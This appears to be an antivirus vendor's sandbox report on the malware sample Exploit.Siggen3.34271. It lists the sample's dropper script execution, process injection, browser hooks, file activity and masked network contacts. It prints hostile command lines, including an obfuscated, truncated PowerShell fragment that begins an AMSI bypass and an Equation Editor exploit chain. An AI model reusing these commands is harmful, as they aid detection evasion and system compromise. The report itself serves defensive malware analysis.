Exploit.Siggen3.34271

Technical Information

Malicious functions

Creates and executes the following (exploit)

'%WINDIR%\syswow64\cscript.exe' %TEMP%\1m.vbs AC

Executes the following (exploit)

'%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\1m.vbs AC
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53...

Injects code into

the following system processes:

%WINDIR%\explorer.exe

the following user processes:

iexplore.exe

Hooks functions

in browsers

iexplore.exe process, wininet.dll module
firefox.exe process, nss3.dll module

Modifies file system

Creates the following files

%TEMP%\1m.vbs
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\eda8bdc83185040b76321812ef900ff7_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4307fe3ed8a5a442baceb657f8b64e84_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\82cd2e8e9de3c445688eba7692c5dfb8_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4cc5d86df4216b31d2967efc7c96ae56_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6256cf54734db5f603dbf4c1534a4e44_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\3e83110c825eba7cc084dbc76ff78bfd_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\71302b69bbc11a5c9ab1e06eb3ab3cab_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e0dad126bdccbef14d366a8179f491eb_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\bb037bda094543ff4660aed2763127bb_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a63aeaa8c1ce24282f63ac8b1b9e976a_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1a3fc000deffa21963919ec0c90148a5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7f864bc0ba6b7e6ced5f93c62f23234f_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6a3091300bcbcc4451f83b9b1ed26526_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fa87eae5939a9e4e056957e6994598e7_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b6422de518be849a752bdd6010c3d8f5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ba04b203ebe6a866ae3287659f174a39_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4d4ee7e19c4c01c8465bf9682103d45a_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1a9f7481bbc64ca39ede0e9e2f7d8365_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\418e46a8c4ca77c9c241a4c0cb20a05d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c68c83ed55d40a84a43ab22f4fb0c467_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b3aa6818fddadc3c66a04fabde9f3ef4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\91ffb3be8bc967093422bf5b60d45bac_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6268eea59b1d116db2c8781a57a47c1e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\eff7602307e59becde1c2047ab988361_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e79ba51c033406148b74c8f2cfdfcb1c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8cd0779df2f8031e0cef3493c95aecfb_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7dff2c255953c07a4b2331cfc218fbba_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\dc13f528b1dc520e4901b619e19211c8_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d2daaa1e92f01b37d6f0195dfb381549_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\689250506cd31fa75bdc8044c2b8413d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e793db4ad0ea3dfc7fec0f25cc4a5117_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d12bfac31b32a47e3f148dc638515867_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8bce316ff609d81446529a8d74ca9ca7_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\28d63653cfbfc9c84d73e376d56e1ee8_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f9b345f42ee99e9e30e97daf563ba74d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\bb936ead96261e8e2f6dcbdf613c0354_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2cd86adb4c10380e132dcbfc4349d01b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9b87f21299143fd69ecc4fb1514633d3_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4c90db447973a5cdbf3be75d077fcee9_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d8efc217d4f2dac0afae7c5169b0487a_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b2dfa4e9e9b17166f19bceb7fa169d4b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d0e4a3af98271c728cd5560449242f09_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8710d2c339c26b7cf6f34a694f0595aa_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4b272147b175bfb09ceeb183f2a71573_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\77b1b270491c36ee6b71c401c84f01d5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e506bdee47617af3a922629a57010467_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a6b302aaa74dbb0df29f81741bb9e96c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c89fd77eb6ffba472b2c65d5dfa62ee4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f73df8b28aef6757b9f6dc9eea3510df_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0e64957220ed1b975a35add8b6115b53_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\796b986147eddb9b06da309081861456_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2dbc13a9ab5dbf94aa9ef4a1bd2a1686_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee

Deletes the following files

%TEMP%\1m.vbs
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\eda8bdc83185040b76321812ef900ff7_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4307fe3ed8a5a442baceb657f8b64e84_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\82cd2e8e9de3c445688eba7692c5dfb8_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4cc5d86df4216b31d2967efc7c96ae56_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6256cf54734db5f603dbf4c1534a4e44_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\3e83110c825eba7cc084dbc76ff78bfd_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\71302b69bbc11a5c9ab1e06eb3ab3cab_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e0dad126bdccbef14d366a8179f491eb_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\bb037bda094543ff4660aed2763127bb_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a63aeaa8c1ce24282f63ac8b1b9e976a_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1a3fc000deffa21963919ec0c90148a5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7f864bc0ba6b7e6ced5f93c62f23234f_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6a3091300bcbcc4451f83b9b1ed26526_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\fa87eae5939a9e4e056957e6994598e7_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b6422de518be849a752bdd6010c3d8f5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\ba04b203ebe6a866ae3287659f174a39_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4d4ee7e19c4c01c8465bf9682103d45a_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\1a9f7481bbc64ca39ede0e9e2f7d8365_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\418e46a8c4ca77c9c241a4c0cb20a05d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c68c83ed55d40a84a43ab22f4fb0c467_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b3aa6818fddadc3c66a04fabde9f3ef4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\91ffb3be8bc967093422bf5b60d45bac_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\6268eea59b1d116db2c8781a57a47c1e_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\eff7602307e59becde1c2047ab988361_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e79ba51c033406148b74c8f2cfdfcb1c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8cd0779df2f8031e0cef3493c95aecfb_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\7dff2c255953c07a4b2331cfc218fbba_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\dc13f528b1dc520e4901b619e19211c8_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d2daaa1e92f01b37d6f0195dfb381549_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\689250506cd31fa75bdc8044c2b8413d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e793db4ad0ea3dfc7fec0f25cc4a5117_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d12bfac31b32a47e3f148dc638515867_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8bce316ff609d81446529a8d74ca9ca7_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\28d63653cfbfc9c84d73e376d56e1ee8_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f9b345f42ee99e9e30e97daf563ba74d_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\bb936ead96261e8e2f6dcbdf613c0354_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2cd86adb4c10380e132dcbfc4349d01b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\9b87f21299143fd69ecc4fb1514633d3_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4c90db447973a5cdbf3be75d077fcee9_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d8efc217d4f2dac0afae7c5169b0487a_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\b2dfa4e9e9b17166f19bceb7fa169d4b_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\d0e4a3af98271c728cd5560449242f09_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\8710d2c339c26b7cf6f34a694f0595aa_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\4b272147b175bfb09ceeb183f2a71573_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\77b1b270491c36ee6b71c401c84f01d5_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\e506bdee47617af3a922629a57010467_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\a6b302aaa74dbb0df29f81741bb9e96c_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\c89fd77eb6ffba472b2c65d5dfa62ee4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\f73df8b28aef6757b9f6dc9eea3510df_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\0e64957220ed1b975a35add8b6115b53_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\796b986147eddb9b06da309081861456_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
%APPDATA%\microsoft\crypto\rsa\s-1-5-21-1960123792-2022915161-3775307078-1001\2dbc13a9ab5dbf94aa9ef4a1bd2a1686_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee

Network activity

Connects to

'cd#.##scordapp.com':443
'oc##.thawte.com':80
'ni##gao.com':80
're#####ratumascota.com':80

TCP

HTTP GET requests

http://oc##.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D
http://www.ni##gao.com/nlg/?0d##################################################################################
http://www.re#####ratumascota.com/nlg/?0d##################################################################################

Other

'cd#.##scordapp.com':443

UDP

DNS ASK cd#.##scordapp.com
DNS ASK oc##.thawte.com
DNS ASK ni##gao.com
DNS ASK re#####ratumascota.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\cmd.exe' /C cscript %tmp%\1m.vbs AC' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53...' (with hidden window)

Executes the following

'%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
'%WINDIR%\syswow64\calc.exe'
'%WINDIR%\syswow64\msdt.exe'
'%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\syswow64\calc.exe"

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

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